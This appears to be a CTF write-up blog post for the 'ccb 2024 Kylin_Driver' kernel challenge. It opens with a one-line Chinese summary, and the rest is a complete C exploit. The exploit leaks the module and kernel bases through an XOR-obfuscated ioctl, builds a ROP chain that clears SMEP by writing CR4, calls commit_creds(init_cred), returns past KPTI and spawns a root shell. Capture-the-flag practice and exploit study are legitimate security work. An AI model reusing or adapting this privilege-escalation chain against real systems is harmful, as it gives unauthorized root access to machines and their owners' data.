[ayoung@blog posts]$ cat ./ccb 2024 Kylin_Driver.md

ccb 2024 Kylin_Driver

[Last modified: 2024-09-08]

先读ko基址和栈上残留的内核基址,找gadget,利用提供的功能能直接跳转rop执行,需要绕一下smep和kpti

#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <string.h>
size_t user_cs,user_ss,user_rflags,user_sp;
size_t commit_creds=0xcf720,prepare_kernel_cred=0;
size_t prdi_r = 0x1b6c35;
size_t init_cred = 0x1864660;
size_t mov_cr4_rdi = 0xD;
size_t swapgs_popfq_r = 0x11;
size_t mov_rdi_rax_ret = 0x9;
size_t ireq_ret = 0x15;
size_t XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy = 0;
size_t leak_addr = 0;
size_t _offset = 0x32a555;
size_t swapgs_restore_regs_and_return_to_usermode = 0xc00ff0+0x36;

void save_status()
{
  __asm__(
    "mov user_cs,cs;"
    "mov user_ss,ss;"
    "mov user_sp,rsp;"
    "pushf;"
    "pop user_rflags;"
  );
  puts("[*] status has been saved.");
}
size_t update_system_gadgets(size_t vmmbase){
	commit_creds+=vmmbase;
    prdi_r+=vmmbase;
    init_cred+=vmmbase;
    swapgs_restore_regs_and_return_to_usermode+=vmmbase;
}
size_t update_testko_gadgets(size_t kobase){
    swapgs_popfq_r+=kobase;
    mov_rdi_rax_ret+=kobase;
    ireq_ret+=kobase;
    mov_cr4_rdi+=kobase;
}
void getshell(){
	if(!getuid()){
		puts("[*]Root now");
		system("/bin/sh");
	}
	else{
		puts("not root yet");
	}
}
typedef struct {
    char buf1[32];
    char buf2[512];
} a;
int main()
{
	save_status();
    int fd = open("/dev/test", 2);
    a a;
    if (fd<0)
        perror("open");
    strcpy(a.buf1, "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc");
    for (int i = 0 ; i < 32; i++)
        *(a.buf1+i)^=0xf9;
    ioctl(fd, 0xDEADBEEF, &a);
    for (int i = 0 ; i < 0x200; i++)
        *(a.buf2+i)^=0xf9;
    XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy = *(size_t*)(a.buf2);
    leak_addr = *(size_t*)(a.buf2+0xa8);
    leak_addr-=_offset;
    printf("[+] kobase 0x%llx\n", (long long)XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy);
    printf("[+] vmbase 0x%llx\n", (long long)leak_addr);
    update_system_gadgets(leak_addr);
    update_testko_gadgets(XyJrLzKpQvNmHtBrVwTsKxMfLdYnJqOpTy);

	printf("[*]commit_creds: 0x%llx\n", (long long)commit_creds);

	size_t rop[0x500];
	memset((char*)rop, 0, 0x500);
	int i = 0;
	rop[i++] = prdi_r;
	rop[i++] = 0x6f0;
	rop[i++] = mov_cr4_rdi;
    rop[i++] = prdi_r;
	rop[i++] = init_cred;
	rop[i++] = commit_creds;
	rop[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t)getshell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    memcpy((char*)a.buf2, (char*)rop, 0x500);
    for (int i = 0; i < 0x500; i++)
        *(a.buf2+i)^=0xf9;

    ioctl(fd, 0xFEEDFACE, &a);

	return 0;
}